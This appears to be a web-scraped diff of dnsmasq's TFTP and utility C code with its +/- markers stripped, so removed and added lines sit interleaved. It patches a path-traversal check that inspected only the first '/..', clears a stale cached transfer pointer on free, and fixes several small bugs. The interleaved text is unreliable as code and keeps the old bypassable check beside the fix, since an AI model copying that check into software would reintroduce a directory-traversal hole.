/* Enforce simultaneous transfer limit. In non-single-port mode
this is done by not listening on the server socket when
too many transfers are in progress. */
if (!transfer && tftp_cnt >= daemon->tftp_max)
if (tftp_cnt >= daemon->tftp_max)
return;
}
@@ -302,12 +303,9 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
#endif
}
/* May reuse struct transfer from abandoned transfer in single port mode. */
if (!transfer && !(transfer = whine_malloc(sizeof(struct tftp_transfer))))
if (!(transfer = whine_malloc(sizeof(struct tftp_transfer))))
return;
memset(transfer, 0, sizeof(struct tftp_transfer));
if (option_bool(OPT_SINGLE_PORT))
transfer->sockfd = listen->tftpfd;
else if ((transfer->sockfd = socket(family, SOCK_DGRAM, 0)) == -1)
@@ -547,10 +545,17 @@ static struct tftp_file *check_tftp_fileperm(char *packet, ssize_t *len, char *p
/* trick to ban moving out of the subtree */
if (prefix)
{
char *suspect = strstr(namebuff, "/..");
char *suspect = namebuff;
if (suspect && (suspect[3] == '/' || suspect[3] == 0))
goto perm;
/* Every occurrence has to be checked: a harmless leading match
such as "/..data" otherwise hides a later "/../" from here. */
while ((suspect = strstr(suspect, "/..")))
{
if (suspect[3] == '/' || suspect[3] == 0)
goto perm;
suspect += 3;
}
}
if ((fd = open(namebuff, O_RDONLY)) == -1)
@@ -838,6 +843,12 @@ static void free_transfer(struct tftp_transfer *transfer)
close(transfer->file->fd);
free(transfer->file);
}
/* freeing this transfer and then allocating a new one
may result in the same memory, but the contents of
the transfer is no longer valid to cache. */
if (daemon->srv_save == transfer)
daemon->srv_save = NULL;
free(transfer);
}
@@ -857,7 +868,7 @@ static char *next(char **p, char *end)
return ret;
}
/* If we don't do anything, don't write the the input/ouptut
/* If we don't do anything, don't write the input/output
buffer. This allows us to pass in safe read-only strings constants. */
static void sanitise(char *buf)
{
+7 -6
View File
@@ -947,7 +947,7 @@ int kernel_version(void)
}
#endif
#define hash_ptr(x) (((unsigned int)(((char *)(x)) - ((char *)NULL))) & 0xffffff)
#define hash_ptr(x) (((uintptr_t)(x)) & 0xffffff)
void *whine_malloc_real(const char *func, unsigned int line, size_t size)
{
@@ -1038,16 +1038,15 @@ void free_real(const char *func, unsigned int line, void *ptr)
}
/* get lines from f, expand buffer as required. Buffer is freed when
EOF reached and we return zero. */
EOF reached and we return zero. Buffer also freed if f == NULL. */
int get_line_alloc(FILE *f, char **buffp, size_t *sizep)
{
int c;
size_t cnt = 0;
char *buff = *buffp;
while (1) {
c = getc(f);
while (1) {
int c = f ? getc(f) : EOF;
if (cnt == *sizep)
{
void *new;
@@ -1081,6 +1080,8 @@ int get_line_alloc(FILE *f, char **buffp, size_t *sizep)
return 1;
free(buff);
*buffp = NULL;
*sizep = 0;
return 0;
}